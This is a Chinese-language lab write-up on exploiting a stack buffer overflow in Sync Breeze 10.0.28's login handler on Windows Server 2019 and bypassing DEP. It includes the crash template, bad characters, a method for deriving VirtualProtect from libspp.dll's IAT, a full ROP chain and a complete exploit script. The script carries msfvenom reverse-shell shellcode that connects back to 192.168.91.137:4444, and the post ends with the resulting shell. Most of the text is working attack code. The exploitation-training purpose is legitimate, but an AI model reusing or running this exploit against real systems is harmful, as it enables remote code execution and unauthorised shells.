0%

Sync Breeze 10.0.28 bypass DEP

实验环境 Windows Server 2019(10.0.17763 N/A Build 17763), DEP默认为AlwaysOn

给了一个能crash程序的模板脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python
import socket
import sys

try:
server = sys.argv[1]
port = 80
size = 800
inputBuffer = b"A" * size
content = b"username=" + inputBuffer + b"&password=A"

buffer = b"POST /login HTTP/1.1\r\n"
buffer += b"Host: " + server.encode() + b"\r\n"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
buffer += b"Referer: http://10.11.0.22/login\r\n"
buffer += b"Connection: close\r\n"
buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
buffer += b"\r\n"
buffer += content

print("Sending evil buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buffer)
s.close()

print("Done!")

except socket.error:
print("Could not connect!")

offset780,后续需要跟4bytes的占位符,才能让ESP指向后续字符的开头,不然会跳过后续字符开头的4bytes。坏字符为\x00\x0a\x0d\x25\x26\x2b\x3d。这些比较简单,就不说了。

先来看看未开启ASLR的模块:

BOF

结合坏字符,这里能用的模块只有libspp.dll。有个小问题出现了,在libspp.dllIAT中找不到VirtualAllocStub,WriteProcessMemoryStub,VirtualProtectStub类似这样的函数。

小知识:模块IAT中各个函数的偏移是一定的,不同函数之间的距离也是一定的,两者不会随函数地址的变化而变化。

BOF

VirutalProtect函数源于kernel32.dll,虽然libspp.dllIAT没有,但是可以用其他导入的kernel32中的函数计算得到VirtualProtect的实际地址。

windbg中来验证一下:

获取CreateFileAVirtualProtectStub的地址:

BOF

计算二者之差(这个值是固定的,但是不同版本的系统这个值会不同):

BOF

根据libspp.dllIAT的信息,获取CreateFileA的实际地址:

BOF

得到VirtualProtectStub的实际地址:

BOF

利用libspp.dll IATCreateFileA的地址找到VirtualProtectStub地址的方法就介绍完了。

以上是手动操作,其实也可利用脚本来进行,外国友人写了一个寻找函数IAT地址的脚本

BOF

所需的知识已经准备就绪,接下来就是构建ROP Chain了。开始我想用mona自己生成,但是生成出来的ROP Chain不完整,而且非常冗长。我一般会在它的基础上做一些更改,修改成一个简洁的ROP Chain,或者会调整各寄存器的顺序,让原本无法生成ROP Chain变成可以顺利生成。

首先,需要用rp++生成ROP Gadget集合,然后需要去掉包含坏字符的ROP Gadget

这里用到的过滤脚本如下:

1.filter-ropfile.py

2.find-gadgets.py

两个差不多,可以结合使用。

难点在ESI值(它保存VirutalProtectStub的地址)的生成,主要关注解引用,这样才能获取到CreateFileA的地址,进而获取VirutalProtectStub的地址:

注:说好的VirutalProtect,为何变成了VirtualProtectStub,因为VirtualProtect最终调用的是VirutalProtectStub

1
2
3
4
5
6
7
8
9
10
#[---INFO:gadgets_to_set_esi:---]
0x1002f729, # pop eax; ret; :: libspp.dll
0x10168060, # IAT KERNEL32!CreateFileA libspp.dll
0x1014dc4c, # mov eax, [eax] ; ret ; (1 found)
0x100cb4d4, # xchg eax, edx ; ret ; (1 found)
0x1002f729, # pop eax; ret; :: libspp.dll
0xffffd070, # offset = VirtualProtectStub - CreateFileA
0x1003f9f9, # add eax, edx ; retn 0x0004 ; (1 found)
0x100121b5, # xchg eax, esi ; cwde ; add bl, al ; mov eax, 0x02FAF080 ; ret ; (1 found)
0x41414141, # junk

完整的ROP Chain如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x1002f729, # pop eax; ret; :: libspp.dll
0x10168060, # IAT KERNEL32!CreateFileA libspp.dll
0x1014dc4c, # mov eax, [eax] ; ret ; (1 found)
0x100cb4d4, # xchg eax, edx ; ret ; (1 found)
0x1002f729, # pop eax; ret; :: libspp.dll
0xffffd070, # offset = VirtualProtectStub - CreateFileA
0x1003f9f9, # add eax, edx ; retn 0x0004 ; (1 found)
0x100121b5, # xchg eax, esi ; cwde ; add bl, al ; mov eax, 0x02FAF080 ; ret ; (1 found)
0x41414141,

#[---INFO:gadgets_to_set_ebp:---]
0x10129305, # POP EBP # RETN [libspp.dll]
0x10129305, # skip 4 bytes [libspp.dll]

#[---INFO:gadgets_to_set_ebx:---]
0x1012b413, # POP EAX # RETN [libspp.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x1009904c, # NEG EAX # RETN [libspp.dll]
0x100cb4d4, # xchg edx, eax; ret; :: libspp.dll
0x10104e93, #push edx ; or al, 0x5E ; xor eax, eax ; pop ebx ; ret

#[---INFO:gadgets_to_set_edx:---]
0x1012b413, # POP EAX # RETN [libspp.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x10078216, # NEG EAX # RETN [libspp.dll]
0x100cb4d4, # XCHG EAX,EDX # RETN [libspp.dll]

#[---INFO:gadgets_to_set_ecx:---]
0x1015d439, # POP ECX # RETN [libspp.dll]
0x1020c95e, # &Writable location [libspp.dll]

#[---INFO:gadgets_to_set_edi:---]
0x10128eba, # POP EDI # RETN [libspp.dll]
0x1010adf2, # RETN (ROP NOP) [libspp.dll]

#[---INFO:pushad:---]
0x1014f55d, # PUSHAD # RETN [libspp.dll]

#[---INFO:extras:---]
0x100bb515, # ptr to 'push esp # ret ' [libspp.dll]
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

完整的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/python
import socket
import sys
import struct

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00\x0a\x0d\x25\x26\x2b\x3d'
shellcode = b""
shellcode += b"\xba\x6f\x57\xd7\xc5\xd9\xc3\xd9\x74\x24\xf4"
shellcode += b"\x5e\x31\xc9\xb1\x52\x83\xc6\x04\x31\x56\x0e"
shellcode += b"\x03\x39\x59\x35\x30\x39\x8d\x3b\xbb\xc1\x4e"
shellcode += b"\x5c\x35\x24\x7f\x5c\x21\x2d\xd0\x6c\x21\x63"
shellcode += b"\xdd\x07\x67\x97\x56\x65\xa0\x98\xdf\xc0\x96"
shellcode += b"\x97\xe0\x79\xea\xb6\x62\x80\x3f\x18\x5a\x4b"
shellcode += b"\x32\x59\x9b\xb6\xbf\x0b\x74\xbc\x12\xbb\xf1"
shellcode += b"\x88\xae\x30\x49\x1c\xb7\xa5\x1a\x1f\x96\x78"
shellcode += b"\x10\x46\x38\x7b\xf5\xf2\x71\x63\x1a\x3e\xcb"
shellcode += b"\x18\xe8\xb4\xca\xc8\x20\x34\x60\x35\x8d\xc7"
shellcode += b"\x78\x72\x2a\x38\x0f\x8a\x48\xc5\x08\x49\x32"
shellcode += b"\x11\x9c\x49\x94\xd2\x06\xb5\x24\x36\xd0\x3e"
shellcode += b"\x2a\xf3\x96\x18\x2f\x02\x7a\x13\x4b\x8f\x7d"
shellcode += b"\xf3\xdd\xcb\x59\xd7\x86\x88\xc0\x4e\x63\x7e"
shellcode += b"\xfc\x90\xcc\xdf\x58\xdb\xe1\x34\xd1\x86\x6d"
shellcode += b"\xf8\xd8\x38\x6e\x96\x6b\x4b\x5c\x39\xc0\xc3"
shellcode += b"\xec\xb2\xce\x14\x12\xe9\xb7\x8a\xed\x12\xc8"
shellcode += b"\x83\x29\x46\x98\xbb\x98\xe7\x73\x3b\x24\x32"
shellcode += b"\xd3\x6b\x8a\xed\x94\xdb\x6a\x5e\x7d\x31\x65"
shellcode += b"\x81\x9d\x3a\xaf\xaa\x34\xc1\x38\x15\x60\x92"
shellcode += b"\x31\xfd\x73\x24\x53\xa2\xfa\xc2\x39\x4a\xab"
shellcode += b"\x5d\xd6\xf3\xf6\x15\x47\xfb\x2c\x50\x47\x77"
shellcode += b"\xc3\xa5\x06\x70\xae\xb5\xff\x70\xe5\xe7\x56"
shellcode += b"\x8e\xd3\x8f\x35\x1d\xb8\x4f\x33\x3e\x17\x18"
shellcode += b"\x14\xf0\x6e\xcc\x88\xab\xd8\xf2\x50\x2d\x22"
shellcode += b"\xb6\x8e\x8e\xad\x37\x42\xaa\x89\x27\x9a\x33"
shellcode += b"\x96\x13\x72\x62\x40\xcd\x34\xdc\x22\xa7\xee"
shellcode += b"\xb3\xec\x2f\x76\xf8\x2e\x29\x77\xd5\xd8\xd5"
shellcode += b"\xc6\x80\x9c\xea\xe7\x44\x29\x93\x15\xf5\xd6"
shellcode += b"\x4e\x9e\x15\x35\x5a\xeb\xbd\xe0\x0f\x56\xa0"
shellcode += b"\x12\xfa\x95\xdd\x90\x0e\x66\x1a\x88\x7b\x63"
shellcode += b"\x66\x0e\x90\x19\xf7\xfb\x96\x8e\xf8\x29"


def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x1002f729, # pop eax; ret; :: libspp.dll
0x10168060, # IAT KERNEL32!CreateFileA libspp.dll
0x1014dc4c, # mov eax, [eax] ; ret ; (1 found)
0x100cb4d4, # xchg eax, edx ; ret ; (1 found)
0x1002f729, # pop eax; ret; :: libspp.dll
0xffffd070, # offset = VirtualProtectStub - CreateFileA
0x1003f9f9, # add eax, edx ; retn 0x0004 ; (1 found)
0x100121b5, # xchg eax, esi ; cwde ; add bl, al ; mov eax, 0x02FAF080 ; ret ; (1 found)
0x41414141,

#[---INFO:gadgets_to_set_ebp:---]
0x10129305, # POP EBP # RETN [libspp.dll]
0x10129305, # skip 4 bytes [libspp.dll]

#[---INFO:gadgets_to_set_ebx:---]
0x1012b413, # POP EAX # RETN [libspp.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x1009904c, # NEG EAX # RETN [libspp.dll]
0x100cb4d4, # xchg edx, eax; ret; :: libspp.dll
0x10104e93, #push edx ; or al, 0x5E ; xor eax, eax ; pop ebx ; ret

#[---INFO:gadgets_to_set_edx:---]
0x1012b413, # POP EAX # RETN [libspp.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x10078216, # NEG EAX # RETN [libspp.dll]
0x100cb4d4, # XCHG EAX,EDX # RETN [libspp.dll]

#[---INFO:gadgets_to_set_ecx:---]
0x1015d439, # POP ECX # RETN [libspp.dll]
0x1020c95e, # &Writable location [libspp.dll]

#[---INFO:gadgets_to_set_edi:---]
0x10128eba, # POP EDI # RETN [libspp.dll]
0x1010adf2, # RETN (ROP NOP) [libspp.dll]

#[---INFO:pushad:---]
0x1014f55d, # PUSHAD # RETN [libspp.dll]

#[---INFO:extras:---]
0x100bb515, # ptr to 'push esp # ret ' [libspp.dll]
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()


try:
server = sys.argv[1]
port = 80
size = 800
inputBuffer = b""
junk1 = b'\x41'*780
#eip = struct.pack("<L",0xdeadbeef)
eip = struct.pack("<L",0x10023b22) # retn
offset = b'\x42'*4
nops = b'\x90'*32
junk2 = b'\x43'*(1500-len(shellcode)-len(rop_chain))
inputBuffer = junk1+eip+offset+rop_chain+nops+shellcode+junk2
content = b"username=" + inputBuffer + b"&password=A"

buffer = b"POST /login HTTP/1.1\r\n"
buffer += b"Host: " + server.encode() + b"\r\n"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
buffer += b"Referer: http://10.11.0.22/login\r\n"
buffer += b"Connection: close\r\n"
buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
buffer += b"\r\n"
buffer += content

print("Sending evil buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buffer)
s.close()

print("Done!")

except socket.error:
print("Could not connect!")

用于覆盖EIP的值,开始选择的ROP Gadget地址属性为PAGE_READ ,导致Memory Access Violation,换一个地址属性为PAGE_EXECUTE_READ的即可,mona生成的ROP Gadget集合会标注是否为PAGE_EXECUTE_READ,这一点还是很不错的。

喜闻乐见的反弹shell

BOF

其实,也可以参照之前《Vulnserver TRUN Bypass DEP With ROP On Win10》介绍的那样,手动构造ROP Chain,不是很难。